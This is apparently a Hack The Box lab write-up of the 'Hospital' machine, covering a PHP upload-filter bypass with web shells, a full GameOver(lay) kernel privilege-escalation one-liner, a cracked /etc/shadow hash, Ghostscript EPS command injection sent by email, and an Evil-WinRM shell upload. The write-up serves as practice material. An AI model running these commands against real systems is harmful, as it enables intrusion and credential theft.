HTB: Hospital — Write-up

Overview:

This is a walkthrough of the Hospital Medium machine from Hack The Box. In this write-up, I’ll go through the different vulnerabilities I discovered

Let’s get started!

Reconnaissance & Enumeration

I started with an Nmap scan to identify the services running on the target machine.

nmap -sCV -p- -T4 <IP> -oN nmap

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-08-09 01:45:04Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp   open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: "400 Bad Request"
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
1801/tcp  open  msmq?
2103/tcp  open  msrpc             Microsoft Windows RPC
2105/tcp  open  msrpc             Microsoft Windows RPC
2107/tcp  open  msrpc             Microsoft Windows RPC
2179/tcp  open  vmrdp?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2026-08-08T00:55:58
|_Not valid after:  2027-02-07T00:55:58
| rdp-ntlm-info: 
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-09T01:46:06+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: "Not Found"
6404/tcp  open  msrpc             Microsoft Windows RPC
6406/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp  open  msrpc             Microsoft Windows RPC
6409/tcp  open  msrpc             Microsoft Windows RPC
6613/tcp  open  msrpc             Microsoft Windows RPC
6619/tcp  open  msrpc             Microsoft Windows RPC
8080/tcp  open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: "Login"
|_Requested resource was login.php
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
9389/tcp  open  mc-nmf            .NET Message Framing
14426/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-09T01:46:03
|_  start_date: N/A
|_clock-skew: mean: 7h03m40s, deviation: 0s, median: 7h03m40s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

The scan revealed several open ports, including:

• 22 — SSH
• 443 — HTTPS
• 8080 — HTTP The web services immediately caught my attention, so I started investigating them. --- ## Port 443 i visited the the 443 web application and it presented a roundcube webmail login page since i have no credentials i decided to come back to it later

Port 8080

then I visited the web application running on port 8080.
The website presented a login page with a registration option so i created an accont and logged in and got greeted with this interface

which shows the ability to upload images to the website hospital
if we try and upload and image we get the success page

after doing some fuzzing i found the /uploads directory where you can view your uploads so this is definitely hinting for a file upload vulnerability

File Upload Exploitation

at first i tried to upload the pwny.php shell but the website refused it and redirected me to an error page so this shows that there s some sort of protection and filtering happening in the background

so i fired up Burpsuite to investigate more
the first thing that i tried is changing the .php extension to oneof those

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

so i kept testing those extensions in burpsuite through changing the filename some of them redirected me to the success.php but when i try to open the file that i uploaded the website throws a 404 not found
i kept trying hopping for something to stick and it did work

so i got greeted with a linux shell which is weird since this is a windows machine which indicates we re on a docker or a VM inside the windows machine
so i started a nc listener in my terminal and execute a revshell command in the pwny.php to migrate the shell to my terminal

The first Privilege Escalation

With access to the machine, I began looking for ways to escalate my privileges.
after some enumeration i found out that the kernel is outdated

www-data@webserver:/var/www/html/uploads$ uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

While researching for a public CVE, I came across CVE-2023-2640 / CVE-2023-32629, commonly associated with the GameOver(lay) privilege-escalation vulnerability.
which was a one liner command

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

i ran it and yep we got root

so another intersting thing that i forgot to mention was that there another user called drwilliams after getting the root shell i decided to extract his password as it is highly probable that he s got an email account

Examining /etc/shadow

After obtaining elevated privileges, I inspected the /etc/shadow file.
This file contains password hashes for local accounts and is normally restricted to privileged users.
i extracted dr williams hash

drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

using john i was able to crack the hash and we got drwilliams credentials i tried to use them to log in to his webmail account

and WE ARE IN

Investigating the Mailbox

While going through the inbox, I found a message from Chris Brown.

The message discussed Ghostscript and EPS files.
while looking through the web to find something that we can use to exploit this *
And I came accross this Poc

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

Ghostscript Exploitation

The general idea was to create a malicious EPS file that would cause the vulnerable Ghostscript process to execute an attacker-controlled command when the file was processed.
i used the PoC to create a malicious eps file then i sent it to dr brown

It took a few attempts to get everything working correctly, but eventually I had access.

the first thing that i found was the ghostscipt.bat script

and it contained dr brown 's creds
so we try them with winRM and it worked

Finding the Flag

With access to the machine, I continued exploring the filesystem and eventually located the flag.

Further Enumeration

I continued exploring the Windows filesystem and came across an XAMPP installation.
Inside the XAMPP directory, I found:

htdocs

Final Access

so i uploaded a pwny.php shell

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\drbrown.HOSPITAL\Documents> cd C:/xampp/htdocs
*Evil-WinRM* PS C:\xampp\htdocs> upload pwny.php

Info: Uploading /home/kali/HTB/Hospital/CVE-2023-36664-Ghostscript-command-injection/pwny.php to C:\xampp\htdocs\pwny.php

Info: Upload successful!
*Evil-WinRM* PS C:\xampp\htdocs> 

After doing so, I navigated to:

https://hospital.htb/pwny.php

This gave me administrative-level access to the machine.

and we got the flag

Conclusion

The Hospital machine was a great example of how multiple vulnerabilities and misconfigurations can be chained together to compromise an environment.

Overall, this machine demonstrated the importance of properly restricting file uploads, keeping operating systems and third-party software patched, and carefully validating files processed by applications.